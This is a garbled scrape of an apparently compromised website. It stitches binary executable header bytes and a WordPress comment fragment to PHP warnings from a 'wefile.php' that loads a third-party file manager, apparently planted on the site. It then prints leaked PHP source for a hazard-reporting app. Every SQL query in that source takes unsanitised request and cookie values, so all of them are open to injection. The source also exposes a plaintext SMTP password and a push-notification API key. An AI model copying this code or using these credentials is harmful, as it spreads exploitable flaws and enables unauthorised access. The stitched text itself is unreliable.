MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads
Warning: Undefined variable $authorization in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36

Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 36

Warning: Undefined variable $translation in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97

Deprecated: json_decode(): Passing null to parameter #1 ($json) of type string is deprecated in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 97

Warning: Trying to access array offset on value of type null in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 98

Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ja.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /home/clients/241eefe087afde1f4507e43ef0c2686b/sites/marshallsgriffin.com/wefile.php on line 99
MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ   ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º  €Ã  @     P  Ê¢Ÿ  `Á€„     í P   äŸ ` # @ t PÁ  À @ Ð  .text ¹  º  `.rdata j+ Ð , ¾ @ @.data PS   ê @ À.pdata # ` $ ø @ @.fptable     @ À.rsrc äŸ      @ @.reloc t @  ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads ="1" || $no<="9"){ $code=sprintf("%04s", $no); } elseif($no>="10" || $no<="99") { $code=sprintf("%03s", $no); } elseif($no>="100" || $no<="999") { $code=sprintf("%02s", $no); } elseif($no>="1000" || $no<="9999") { $code=sprintf("%01s", $no); } elseif($no>="10000" || $no<="99999") { $code=sprintf("%0s", $no); } else { $code=sprintf("%04s", $no); } function Romawi($n){ $hasil = ""; $iromawi = array("","I","II","III","IV","V","VI","VII","VIII","IX","X", 10=>"X",20=>"XX",30=>"XXX",40=>"XL",50=>"L",60=>"LX",70=>"LXX",80=>"LXXX", 90=>"XC",100=>"C",200=>"CC",300=>"CCC",400=>"CD",500=>"D", 600=>"DC",700=>"DCC",800=>"DCCC",900=>"CM",1000=>"M", 2000=>"MM",3000=>"MMM"); if(array_key_exists($n,$iromawi)){ $hasil = $iromawi[$n]; }elseif($n >= 11 && $n <= 99){ $i = $n % 10; $hasil = $iromawi[$n-$i] . Romawi($n % 10); }elseif($n >= 101 && $n <= 999){ $i = $n % 100; $hasil = $iromawi[$n-$i] . Romawi($n % 100); }else{ $i = $n % 1000; $hasil = $iromawi[$n-$i] . Romawi($n % 1000); } return $hasil; } $bln=Romawi($bln); $nohr = "$code-HR/SHE-PST/$_POST[site]/$bln-$thn"; $dat=mysql_query("select * from shemanpower where id='$_COOKIE[ids]'"); $editv=mysql_fetch_array($dat); $resultzf=mysql_query("SELECT * FROM shemanpower where tindakanawal!='' AND dept='$editv[dept]' AND site='$editv[site]'"); while($editvfh=mysql_fetch_array($resultzf)){ $_SESSION[namaid]="$_SESSION[namaid] $editvfh[id] $editvfh[nama]"; } $resultzfT=mysql_query("SELECT * FROM shemanpower where tindakanawal!='' AND dept='$_POST[deptter]' AND site='$_POST[site]'"); while($editvfhhf=mysql_fetch_array($resultzfT)){ $_SESSION[namaid3]="$_SESSION[namaid3] $editvfhhf[id] $editvfhhf[nama]"; } $queryy = mysql_query("INSERT INTO shehazard (status3,deptter,status2,status,no,nohr,nama,jab,ditujukan,idkaryawan,tgl,pukul,dept,perbaikan,site,gambar,gambar2) VALUES ('Delegasi','$_POST[deptter]','$_SESSION[namaid3]','$_COOKIE[ids] $editv[nama] $_SESSION[namaid3] $_SESSION[namaid]','$code','$nohr','$editv[nama]','$editv[jab]','$_POST[ditujukan]','$_COOKIE[ids]','$_POST[tgl]','$_POST[pukul]', '$editv[dept]', '$_POST[perbaikan]', '$_POST[site]', '$_SESSION[fotohazard]', '$_SESSION[fotohazard2]')"); $_SESSION[namaid]=""; $_SESSION[namaid3]=""; $_SESSION[fotohazard]=""; $_SESSION[fotohazard2]=""; $dat=mysql_query("select * from shehazard where idkaryawan='$_COOKIE[ids]' AND tgl='$_POST[tgl]' AND site='$_POST[site]' order by id desc"); $editvf=mysql_fetch_array($dat); $_SESSION[nohr]="$nohr"; $_SESSION[id]="$editvf[id]"; $_SESSION[idsim]="$editvf[id]"; $dat=mysql_query("select * from shelokasi where site like '%$_POST[site]%' AND lokasi='$_POST[lokasi]'"); $editffv=mysql_fetch_array($dat); $idlokasi=$editffv[id]; $lokasi=$_POST["lokasi"]; $lokasilainnya=$_POST["lokasilainnya"]; $queryy = mysql_query("INSERT INTO shehazardlokasi (idlokasi,idhazard,lokasi,lokasilainnya,site,idkaryawan) VALUES ('$idlokasi','$editvf[id]','$lokasi','$lokasilainnya','$_POST[site]','$_COOKIE[ids]')"); $resultzs=mysql_query("SELECT * FROM shehazardpilihan where dept = 'Karyawan' AND temuan='Temuan' GROUP BY kondisi order by id ASC"); $rr="1"; while($rows=mysql_fetch_array($resultzs)){ $resultzdd=mysql_query("SELECT * FROM shehazardpilihan where dept = 'Karyawan' AND temuan='Temuan' AND kondisi='$rows[kondisi]' order by id ASC"); $rdd="1"; while($rowsdd=mysql_fetch_array($resultzdd)){ $tindakan=$_POST["tindakann$rr$rdd"]; $tindakanlainnya=$_POST["tindakanlainnya$rr$rdd"]; $idtindakan=$_POST["idtindakan$rr$rdd"]; if($tindakan==""){}else{ $queryy = mysql_query("INSERT INTO shehazardtindakan (idhazard,tindakan,tindakanlainnya,idtindakan,site,idkaryawan) VALUES ('$editvf[id]','$tindakan','$tindakanlainnya','$idtindakan','$_POST[site]','$_COOKIE[ids]')"); } $rdd++;} $rr++;} $resultzfh=mysql_query("SELECT * FROM shehazardpilihan where dept = 'Karyawan' AND temuan='Tindakan langsung' order by id ASC"); $rddf="1"; while($rowsfh=mysql_fetch_array($resultzfh)){ $tindakanlangsung=$_POST["tindakanlangsungg$rddf"]; $tindakanlangsunglainnya=$_POST["tindakanlangsunglainnya$rddf"]; $idlangsung=$_POST["idlangsung$rddf"]; if($tindakanlangsung==""){}else{ $queryy = mysql_query("INSERT INTO shehazardtindakan2 (idlangsung,idhazard,tindakanlangsung,tindakanlangsunglainnya,site,idkaryawan) VALUES ('$idlangsung','$editvf[id]','$tindakanlangsung','$tindakanlangsunglainnya','$_POST[site]','$_COOKIE[ids]')"); } $rddf++;} require_once('class.phpmailer.php'); $resultzf=mysql_query("SELECT * FROM shemanpower where tindakanawal!='' AND dept='$_POST[deptter]' AND site='$_POST[site]'"); $rdd="1"; while($editvfhh=mysql_fetch_array($resultzf)){ $mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch $mail->IsSMTP(); // telling the class to use SMTP try { $mail->Host = "putrasarana.com"; // SMTP server $mail->SMTPDebug = 0; // enables SMTP debug information (for testing) $mail->SMTPAuth = true; // enable SMTP authentication $mail->SMTPSecure = "ssl"; // sets the prefix to the servier $mail->Host = "putrasarana.com"; // sets GMAIL as the SMTP server $mail->Port = 465; // set the SMTP port for the GMAIL server $mail->Username = "system@putrasarana.com"; // GMAIL username $mail->Password = "system27072010"; // GMAIL password $mail->AddReplyTo('system@putrasarana.com', 'Hazard Report'); $mail->AddAddress("$editvfhh[email]", "$editvfhh[nama]"); $mail->addCC("edya@putrasarana.com"); $mail->AddReplyTo('system@putrasarana.com', 'Hazard Report'); $mail->SetFrom('system@putrasarana.com', 'Hazard Report'); $mail->Subject = 'Hazard Report'; $mail->AltBody = ''; // optional - MsgHTML will create an alternate automatically $mail->Body = " Hazard Report (No Repply) Kepada Bapak $editvfhh[nama] untuk mengecek dan mendelegasikan hazard report sebagai berikut... No.Reg : $nohr Tanggal : $_POST[tgl] Pukul : $_POST[pukul] Link : https://putrasarana.com/she/delegasi.php?id=$editvf[id] Link Aplikasi : Open App Terima kasih "; $mail->Send(); } catch (phpmailerException $e) { } catch (Exception $e) { } $cekv = mysql_query("select * from shetdelegasihazard where idhazard='$editvf[id]' AND email='$editvfhh[email] $tgl $jam'"); $adas = mysql_num_rows($cekv); if($adas >= 1){}else{ $queryy = mysql_query("INSERT INTO shetdelegasihazard (idhazard,delegasi,email) VALUES ('$editvf[id]','$editvfhh[nama] $editvfhh[jab] $tgl $jam',' $editvfhh[email]')"); } $rdd++;} function sendMessage(){ $content = array( "en" => "Hazard Report $_SESSION[nohr]" ); $heading = array( "en" => "Permintaan Delegasi Hazard Report $_SESSION[nohr]" ); $fields = array( 'app_id' => "ba32fa6a-e997-408d-8b59-a92d5b956c22", 'included_segments' => array('All'), 'data' => array("foo" => "bar"), 'small_icon' =>"https://putrasarana.com/she/logo.png", 'large_icon' =>"https://putrasarana.com/she/logo.png", 'url' => "she.https://putrasarana.com/she/index_admin.php?menu=delegasi&id=$_SESSION[id]", 'headings' => $heading, 'priority' => '1', 'contents' => $content ); $fields = json_encode($fields); //print("\nJSON sent:\n"); //print($fields); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://onesignal.com/api/v1/notifications"); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json; charset=utf-8', "Authorization: Basic MDFkNmUxOWItYzM2OC00ODhmLTliYmUtZGRjMTM2ZmRhYjE0")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HEADER, FALSE); curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $fields); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); $response = curl_exec($ch); curl_close($ch); return $response; } $response = sendMessage(); $return["allresponses"] = $response; $return = json_encode( $return); }ELSE{ } ?>